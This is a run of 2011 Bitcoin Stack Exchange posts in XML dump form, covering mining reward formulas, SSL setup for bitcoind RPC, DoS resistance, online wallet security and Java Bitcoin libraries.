  <row Id="495" PostTypeId="2" ParentId="493" CreationDate="2011-09-03T08:41:38.843" Score="7" Body="&lt;p&gt;The answer of D.H. assumes the hashrate of the network never changes between difficulty jumps. But it can in fact evolve quite a bit, so it can be inaccurate sometimes. Your proportion in the network may change but, until the difficulty adjusts, this will &lt;em&gt;not&lt;/em&gt; change your rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your average reward will be :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26GnO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your case, with 600 MH/s and a time period of 1 day, the result is, in average, &lt;strong&gt;0.3394412542813765 BTC a day&lt;/strong&gt; (with current difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanations: the first term is the average reward per difficulty-1 share, and a difficulty-1 share is found in average every 2^32 hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're going to be pooled mining, adjust the 50 in the formula to take fees into account (use 48.5 for example for a 3% fee). Same goes when blocks start generating 25 BTC only.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-09-03T08:41:38.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="496" PostTypeId="1" AcceptedAnswerId="506" CreationDate="2011-09-03T09:03:03.870" Score="13" ViewCount="2587" Body="&lt;p&gt;Specifically I would like to connect to bitcoind from an outside system but I'm concerned about security. I've seen where others have said that SSL support is built into the Bitcoin client but how do I configure it and what front-ends are SSL-capable? Could I simply connect with PuTTY?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2014-05-02T17:49:18.920" LastActivityDate="2014-05-02T17:49:18.920" Title="How do I configure the Bitcoin client for SSL on Windows?" Tags="|bitcoind|windows|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="497" PostTypeId="2" ParentId="86" CreationDate="2011-09-03T09:57:15.150" Score="3" Body="&lt;p&gt;Once you have the relevent statistics this is easy. Collecting those statistics is hard though, due to bitcoins level of anonymity. You would probably need to do a survey.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2011-09-03T09:57:15.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="498" PostTypeId="1" AcceptedAnswerId="540" CreationDate="2011-09-03T10:38:55.967" Score="13" ViewCount="957" Body="&lt;p&gt;What is the &lt;a href=&quot;http://glbse.com/&quot;&gt;Bitcoin Global Stock Exchange&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can one use it effectively?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-04T08:50:16.170" Title="What is GLBSE? How does one use it?" Tags="|websites|glbse|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="499" PostTypeId="1" AcceptedAnswerId="510" CreationDate="2011-09-03T11:31:38.317" Score="19" ViewCount="2039" Body="&lt;p&gt;What protection does Bitcoin have against DoS attacks? Could you bring down a node by flooding it with data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if someone starts flooding the network with legitimate, yet nonsense, transactions? For example, sending bitcoins from A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; A and so on in a rapid pace.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-12-13T16:18:17.933" Title="What protection does Bitcoin have against Denial of Service (DoS) attacks?" Tags="|transactions|security|network|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="500" PostTypeId="2" ParentId="189" CreationDate="2011-09-03T11:36:54.630" Score="1" Body="&lt;p&gt;I want add that you can send Bitcoins from any mobile device via an SMS interface provided by &lt;a href=&quot;http://phoneco.in/&quot; rel=&quot;nofollow&quot;&gt;PHONECO.IN&lt;/a&gt;. At the moment, that service only has a US phone number, so it would be relatively expensive to use from Europe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am in no way associated with that service and I do not know anything about security, nor quality of that service.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2011-09-03T11:36:54.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="501" PostTypeId="1" AcceptedAnswerId="507" CreationDate="2011-09-03T12:05:56.007" Score="14" ViewCount="370" Body="&lt;p&gt;If you wanted to assess the security of an online wallet service such as a bitcoin bank or ewallet, what would expect to see addressed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously SSL connections, but what about authentication, authorization, protection of staff from rubber hose attacks and so on?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="72" LastEditDate="2011-09-04T22:39:10.307" LastActivityDate="2011-09-04T22:39:10.307" Title="What are the minimum security expectations of an online wallet service?" Tags="|security|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="502" PostTypeId="1" CreationDate="2011-09-03T12:22:55.643" Score="17" ViewCount="362" Body="&lt;p&gt;What are the risks of exchanging Bitcoins via Near Field Communication? The transaction Parameters might be negotiated via NFC and the actual transaction via Internet.&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="5406" LastEditDate="2016-08-02T06:05:04.457" LastActivityDate="2016-08-02T06:05:04.457" Title="What are the risks of exchanging Bitcoins via Near Field Communication?" Tags="|mobile|face-to-face-payment|nfc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="503" PostTypeId="2" ParentId="460" CreationDate="2011-09-03T12:40:58.927" Score="5" Body="&lt;p&gt;You could have a look at &lt;a href=&quot;http://www.nostate.com/3955/uc_bitcoin-a-bitcoin-payment-method-for-ubercartdrupal/&quot;&gt;uc_bitcoin&lt;/a&gt; by Mike Gogulski that seems be what you are looking for. A word of caution though: The GitHub code has not been updated since November 2010, it is for Drupal 6.x (has not been tried on D7) and Mike states that &quot;There’s probably not going to be an update for a long while, either, so fork and code away&quot;. Anyway, here's some info about it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Bitcoin payment method for the Ubercart shopping cart for Drupal.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Generates a new bitcoin address for every order&lt;/li&gt;&#xA;  &lt;li&gt;Provides payment address to customer on site at checkout, plus in a&#xA;  subsequent email&lt;/li&gt;&#xA;  &lt;li&gt;Configurable timeout after which unpaid transactions will be&#xA;  canceled automatically&lt;/li&gt;&#xA;  &lt;li&gt;Configurable number of Bitcoin network confirmations after which an&#xA;  order is considered paid&lt;/li&gt;&#xA;  &lt;li&gt;HTTP or HTTPS access to bitcoind&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://drupal.org/project/uc_bitcoin&quot;&gt;a project by Darrell Duane&lt;/a&gt; that is based on Mike's project. There is no download available yet and the project page was updated in June 2011.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-09-03T12:40:58.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="504" PostTypeId="2" ParentId="492" CreationDate="2011-09-03T12:41:38.357" Score="2" Body="&lt;p&gt;According to DNS Lookup &lt;code&gt;wwww.bitcoin.org&lt;/code&gt; is (today) just another another name for &lt;code&gt;vhost.sourceforge.net&lt;/code&gt; so it is run by the sourceforge guys. As the DNS Authority for the www subdomain is bitcoin.org you might be interested in that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to WHOIS bitcoin.org is run by: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Domain ID:D153621148-LROR&#xA;Domain Name:BITCOIN.ORG&#xA;Created On:18-Aug-2008 13:19:55 UTC&#xA;Last Updated On:18-May-2011 04:47:13 UTC&#xA;Expiration Date:18-Aug-2019 13:19:55 UTC&#xA;Sponsoring Registrar:eNom, Inc. (R39-LROR)&#xA;Status:OK&#xA;Registrant ID:02e87e389a273cab&#xA;Registrant Name:Louhi  Net Oy&#xA;Registrant Organization:Louhi Net Oy&#xA;Registrant City:Helsinki&#xA;Registrant Country:FI&#xA;Registrant Email:hostmaster@XXXXXXXX&#xA;Admin ID:02e87e389a273cab&#xA;Admin Name:Louhi  Net Oy&#xA;Admin Organization:Louhi Net Oy&#xA;Admin City:Helsinki&#xA;Admin State/Province:&#xA;Admin Country:FI&#xA;Admin Email:hostmaster@XXXXXXXX&#xA;Tech ID:02e87e389a273cab&#xA;Tech Name:Louhi  Net Oy&#xA;Tech Organization:Louhi Net Oy&#xA;Tech City:Helsinki&#xA;Tech Email:hostmaster@XXXXXXXX&#xA;Name Server:DNS1.LOUHI.NET&#xA;Name Server:DNS2.LOUHI.NET&#xA;Name Server:DNS3.LOUHI.NET&#xA;DNSSEC:Unsigned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although it does not look very trustworthy this is a common hosting setup. It may differ from NIC to NIC but usually the &lt;a href=&quot;https://en.bitcoin.it/wiki/Sirius&quot; rel=&quot;nofollow&quot;&gt;real &quot;owner&quot;&lt;/a&gt; or his responsible person is mentioned as Admin.&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="91" LastEditDate="2011-09-03T12:48:16.143" LastActivityDate="2011-09-03T12:48:16.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="505" PostTypeId="2" ParentId="492" CreationDate="2011-09-03T12:43:16.160" Score="11" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=33393.msg420189#msg420189&quot;&gt;As pointed out by theymos&lt;/a&gt; on Bitcoin Talk, both bitcoin.org and bitcointalk.org are owned by &lt;a href=&quot;https://en.bitcoin.it/wiki/Sirius&quot;&gt;Sirius&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="63" LastEditDate="2011-09-03T13:30:33.493" LastActivityDate="2011-09-03T13:30:33.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="506" PostTypeId="2" ParentId="496" CreationDate="2011-09-03T12:54:35.340" Score="11" Body="&lt;p&gt;You can not connect with PuTTY as bitcoind only listens to RPC-JSON commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that can send over the HTTP(S) protocol is fine. See the &lt;a href=&quot;http://jsonrpcphp.org/&quot;&gt;JSON-RPC class for PHP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you want bitcoind to accept remote RPC-JSON calls, you would need to setup your &lt;code&gt;bitcoin.conf&lt;/code&gt; file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser     = randomUsername&#xA;rpcpassword = strongRandomPassword&#xA;rpcallowip  = ipOfAllowedHost&#xA;rpcssl      = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, navigate to your data directory &lt;code&gt;.bitcoin&lt;/code&gt; and generate a self-signed certificate. Do not enter a password when it prompts you for one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl genrsa -out server.pem 2048&#xA;openssl req -new -x509 -nodes -sha1 -days 3650 -key server.pem &amp;gt; server.cert&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restart bitcoind and test the SSL functionality. You should see the certificate details, pressing enter twice will return a &lt;code&gt;HTTP/1.0 401 Authorization Required&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl s_client -connect localhost:8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it, bitcoind will now accept RPC-JSON commands through through HTTPS.&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="63" LastEditDate="2011-09-03T18:37:57.723" LastActivityDate="2011-09-03T18:37:57.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="507" PostTypeId="2" ParentId="501" CreationDate="2011-09-03T13:21:40.900" Score="7" Body="&lt;p&gt;It would be impractical to list every single expectation here, but the TradeHill exchange sets themselves up for PCI compliance. I think being PCI compliant is a great set of standards to keep your data safe and secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PCI compliance is basically security standards setup by the &lt;a href=&quot;https://www.pcisecuritystandards.org/&quot; rel=&quot;noreferrer&quot;&gt;PCI Security Standards Concil&lt;/a&gt; for merchants who accept credit cards, online or offline. They have 4 sets of levels of PCI compliance, which I believe TradeHill to abide to the first level (at the bottom).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Common sense comes into play when storing Bitcoins. Keep a small percentage of them online for immediate usage, when your hot storage gets empty, fill it back up with funds stored offline. Keep multiple secure backups of your wallet files, so a '&lt;a href=&quot;http://siliconangle.com/blog/2011/08/01/third-largest-bitcoin-exchange-bitomat-lost-their-wallet-over-17000-bitcoins-missing/&quot; rel=&quot;noreferrer&quot;&gt;bitomat&lt;/a&gt;' doesn't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is anything to protect a staff member from rubber hose attacks, but limiting the access of your staff members so that the information is accessed on a need-to-know basis through someone like you would help prevent sensitive data leaking. If they're attacking you, then you're fucked.&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="63" LastEditDate="2011-09-03T16:17:45.527" LastActivityDate="2011-09-03T16:17:45.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="508" PostTypeId="2" ParentId="484" CreationDate="2011-09-03T13:42:35.673" Score="6" Body="&lt;p&gt;I agree with the other answers pointing out the issues with this approach. And no matter how good an idea it was, it would be a very bad idea to change the rules Bitcoin follows at this time. But I think the benefits outweigh the disadvantages overall and that this would be a sensible approach for future crypto-currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best coin recovery proposals look more or less like this: If a transaction output is unclaimed for 20 years or so (you have to specify the time in blocks, but the equivalent of around 20 years) then it can be 'reaped' by a miner. The miner pulls that output into his coinbase transaction and is permitted to claim up to 50 coins (or some low number) from that pool for himself. Any coins remaining in the pool are passed along to the miner of the next block to claim. (No jackpot blocks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantages of this approach are that the supply of coins remains predictable and stable and that there is likely to be a mining reward even without unlimited inflation. The disadvantage is that you cannot store your coins forever without 'refreshing' them. Obviously, a client for such a scheme would have to have a simple 'refresh' option, likely automatic, and would display the 'expiration date' of all coins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-03T15:22:42.733" LastActivityDate="2011-09-03T15:22:42.733" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="509" PostTypeId="2" ParentId="490" CreationDate="2011-09-03T13:44:49.007" Score="36" Body="&lt;p&gt;It is, with three provisos.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Never run the same wallet on more than one computer at a time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Never run an older copy of a wallet when a newer version exists. If you send any funds, make sure to keep the newer copy of the wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure all client programs are linked to the same version of BerkeleyDB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Overall, I think it's just not a good idea. The client software wasn't designed to cleanly handle the many things that can go wrong.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-03T13:44:49.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="510" PostTypeId="2" ParentId="499" CreationDate="2011-09-03T13:49:42.913" Score="12" Body="&lt;p&gt;The network has a moderate amount of protection against DoS attacks. If you flooded a single node with data from a single source, it would just drop you. You could reconnect, of course. You would need a lot of resources and effort to knock out a node, but it's possible to knock out a single node by overloading it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The owner of an attacked node could simply stop accepting incoming connections and he could still operate. He still might, by sheer bad luck, make some outgoing connections to malicious nodes. But he'd quickly close all such connections and be left only with connections to non-malicious nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction flooding is perhaps the DoS attack for which the network is currently best defended. Trying to flood the network with legitimate, but nonsense transactions won't work very well. To form such a transaction, you have to claim some coins. The network will only maintain one transaction that claims a given output. And to claim newer output generally requires a transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to imagine any scenario in which an attacker could maintain a significant number of concurrently valid transactions without paying large transaction fees. And even if he could, as soon as those were accepted, he'd need to be able to claim additional transaction outputs to keep up the flood. The outputs of the transaction from earlier in the flood would be too new to spend without fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any event, the harm would be minimal. If this were working to cause harm, that would mean legitimate transactions wouldn't be going through. This means their coins would be getting older and older while the attack had to consist of newer and newer transaction outputs. Soon, the legitimate transactions would win.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-03T15:10:55.607" LastActivityDate="2011-09-03T15:10:55.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="511" PostTypeId="2" ParentId="478" CreationDate="2011-09-03T13:51:40.277" Score="4" Body="&lt;p&gt;The short answer is: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin client requires the entire block chain in order to validate transactions, and the block chain is currently around 500MB. It will continue to get larger and larger over time.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-03T13:51:40.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="512" PostTypeId="1" AcceptedAnswerId="518" CreationDate="2011-09-03T14:07:10.670" Score="13" ViewCount="4085" Body="&lt;p&gt;are there Java libraries for Bitcoin available to develop client applications?&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="5406" LastEditDate="2014-11-01T12:20:34.863" LastActivityDate="2014-11-01T12:20:34.863" Title="Java library for Bitcoin Client Application" Tags="|client|development|bitcoinj|java|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="513" PostTypeId="2" ParentId="512" CreationDate="2011-09-03T14:17:53.773" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;noreferrer&quot;&gt;BitcoinJ&lt;/a&gt; is the most mature library to my knowledge (though it is still at an early development stage). It has been developed by Google employee Mike Hearn.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BitCoinJ implements the &quot;simplified payment verification&quot; mode of&#xA;  Satoshis paper. It does not store a full copy of the block chain,&#xA;  rather, it stores what it needs in order to verify transactions with&#xA;  the aid of an untrusted peer node.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above makes it especially useful for mobile applications.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-03T14:30:45.920" LastActivityDate="2011-09-03T14:30:45.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="514" PostTypeId="2" ParentId="450" CreationDate="2011-09-03T15:38:08.650" Score="9" Body="&lt;p&gt;The simplest way to understand why the answer is &quot;no&quot; is to understand a very basic concept about Bitcoin transactions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each transaction (except generating transactions) has one or more &quot;inputs&quot; that pull in Bitcoins. And each transaction has one or more &quot;outputs&quot; that offer those Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the transaction itself, all the Bitcoins pulled in form a pile. There is no way to track a particular input to a particular output, nor is that meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a transaction pulls in 25 Bitcoins from one place and 25 Bitcoins from another place and then sends out 10 Bitcoins to each of five different places. What does it mean to ask which input the coins in a particular output came from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are more like account balances than pennies. If you put 10 pennies in a pile and give 1 out, you can ask which penny they got. But if you deposit two $10 checks and then withdraw $5, which check did that $5 come from? It's not even a meaningful question.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-03T15:38:08.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="515" PostTypeId="2" ParentId="478" CreationDate="2011-09-03T16:10:48.253" Score="-3" Body="&lt;p&gt;I don't believe you can, actually, which is one of Bitcoin's wee little problems, along with a too-long-gap between difficulty computations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for Bitcoin to take over from the dollar, you'd have to have the entire economy of the USA on everyone's computer. That can't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to fix that, we will have to modify the block chain system and that is DAMN DANGEROUS, because in spite of all the scandals around Bitcoin, Bitcoin itself is immutable, nothing has ever been found wrong with it's actual data structure itself.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-09-03T16:10:48.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="516" PostTypeId="2" ParentId="502" CreationDate="2011-09-03T16:44:37.243" Score="1" Body="&lt;p&gt;The risks could be, someone else with a good NFC communicator could intercept your request and make you send some BTC to them, having another persons phone next to yours with the app can do the same, and possibly NFC jammers can really cause a lot of problems with the transfer.&lt;/p&gt;&#xA;" OwnerDisplayName="user173" LastActivityDate="2011-09-03T16:44:37.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="517" PostTypeId="1" AcceptedAnswerId="834" CreationDate="2011-09-03T17:05:48.737" Score="25" ViewCount="3143" Body="&lt;p&gt;While this question is similar to others about securing wallets, I think it merits a question of it's own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that has dissuaded me in the past from running an online wallet service of some kind is the worry that I could be compromised (rubber hose, extortion, intimidation etc) and by extension permit full access to a large collection of bitcoins that I don't own. If I'm running an operation with potentially millions of dollars worth of bitcoins and my contact details become known (not that hard to find really) then I'm naturally a risk to my clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard of multi-key encryption so that no one person has complete access (client PIN etc), but I'm not sure if that would solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question becomes how can a single person operation ensure that they are unable to compromise the wallets under their care? Ideally the answer would not require any technical knowledge on behalf of the client beyond a passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If such an approach became commonplace then it could act as a deterrent because attackers would simply see that the website uses that approach and slink away.)&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="132" LastEditDate="2011-09-12T14:03:39.063" LastActivityDate="2011-09-14T08:23:43.647" Title="How can a single person operation keep a collection of online wallets secure?" Tags="|security|wallet|e-wallet|" AnswerCount="8" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="518" PostTypeId="2" ParentId="512" CreationDate="2011-09-03T17:38:17.523" Score="10" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot;&gt;BitCoinJ&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to @D.H's answer, BitCoinJ provides the following for developers&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;open source through Subversion&lt;/li&gt;&#xA;&lt;li&gt;easy to use Java API&lt;/li&gt;&#xA;&lt;li&gt;easy to integrate via Maven&lt;/li&gt;&#xA;&lt;li&gt;access to either release or snapshot editions depending on your risk profile&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BitCoinJ also uses the &lt;a href=&quot;http://www.bouncycastle.org/&quot;&gt;Bouncy Castle encryption algorithm implementations&lt;/a&gt;. Some of these were missing or poorly implemented in Android which necessitated the inclusion of these libraries into BitCoinJ (currently via the Maven Shade plugin to allow updates to Bouncy Castle to be introduced when they occur). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These inclusions makes it a very useful library to get started with than simply rolling your own against the JSON API of the standard client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm a contributor to the BitCoinJ project so I'm a bit biased regarding it's utility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/bccapi/&quot;&gt;&lt;strong&gt;BCCAPI&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction and balance monitoring API for Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The BCCAPI (BitCoin Client API) allows you to create a light-weight&#xA;  secure Bitcoin client in Java. The BCCAPI connects to a server that&#xA;  holds the block chain, and which tracks the client’s wallet balance on&#xA;  the clients behalf. The server only has knowledge of the clients&#xA;  public keys, and is in no position to spend funds owned by the&#xA;  client’s wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This could be useful if your application does not require the client to spend coins through your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Off topic: A note on Bitcoin clients in Java&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's not a library as such, you may benefit from looking at the source code for the &lt;a href=&quot;http://multibit.org/&quot;&gt;MultiBit&lt;/a&gt; project to get you started in creating a Java Swing based Bitcoin client based on BitCoinJ with internationalisation and QR code support.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-03T17:38:17.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="519" PostTypeId="2" ParentId="517" CreationDate="2011-09-03T18:10:11.263" Score="1" Body="&lt;p&gt;Generally in the private industry, this isn't done. You trust that these industries do it right, but usually they don't.&#xA;Security is difficult, really difficult. Securing against yourself (thumbscrew and rubberhose access :p) when you have direct access to the hardware makes it even harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have the client use a password that is not stored, but is used as an encryption key to secure their wallet, and only them providing that key would unlock it. Of course you could always intercept that key, plus you have access to the encrypted data and algorithm used.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly I wouldn't trust any public wallets.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2011-09-03T18:10:11.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="520" PostTypeId="1" AcceptedAnswerId="523" CreationDate="2011-09-03T18:22:45.597" Score="16" ViewCount="2176" Body="&lt;p&gt;I opened up my GUIMiner and I got a rather unfriendly &quot;Win32/CoinMiner&quot; threat of &quot;Medium.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed this program knowingly, so should I be concerned? Is this just a problem because people have been installing miners on people's machine unknowingly (which would be a bad thing)?&lt;/p&gt;&#xA;" OwnerUserId="163" LastEditorUserId="5406" LastEditDate="2016-01-21T14:22:42.953" LastActivityDate="2016-01-21T14:22:42.953" Title="Why are coin miners (such as GUIMiner) a &quot;threat&quot; in Windows Defender?" Tags="|windows|guiminer|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="521" PostTypeId="2" ParentId="328" CreationDate="2011-09-03T18:23:37.280" Score="2" Body="&lt;p&gt;There is no single answer to this question.  It involves a risk / convenience tradeoff and depends heavily on the circumstances, i.e. the risks of trusting a payment before some number of actual transaction confirmations are seen in the blockchain, vs the risk of lost opportunities by making things slow or difficult for your customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, go ahead if the risks are small in comparison to the benefits of responding quickly.  We see the same thing with credit card purchases, which are even revokable.  For small transactions, merchants typically choose to keep the checkout line moving rather than asking customers for a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risks are affected by factors like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What information do you have about the payer - IP address?  Email address?  Do they have an online account with you?  Have you seen payments from the same bitcoin address before?  Do you have their physical address, e.g. for shipping?  Other behavior patterns?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How easy would it be for someone to get away with lots of small transactions?  Do you have good ways to limit their access if they keep coming back?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can ask the same questions from the standpoint of potential arbitrators.  In most cases the vendor would be likely to have more information to use in making an informed risk determination than an independent arbitrator would have.  But one form of &quot;arbitration&quot; that is getting some attention is the use of a whitelist for bitcoin addresses.  See e.g. the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=32818.0&quot; rel=&quot;nofollow&quot;&gt;Green address technique&lt;/a&gt;.  Arbitrators could research and maintain various whitelists suitable for different risk scenarios (e.g. payment amounts), access to which they could sell.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2011-09-04T01:48:28.977" LastActivityDate="2011-09-04T01:48:28.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
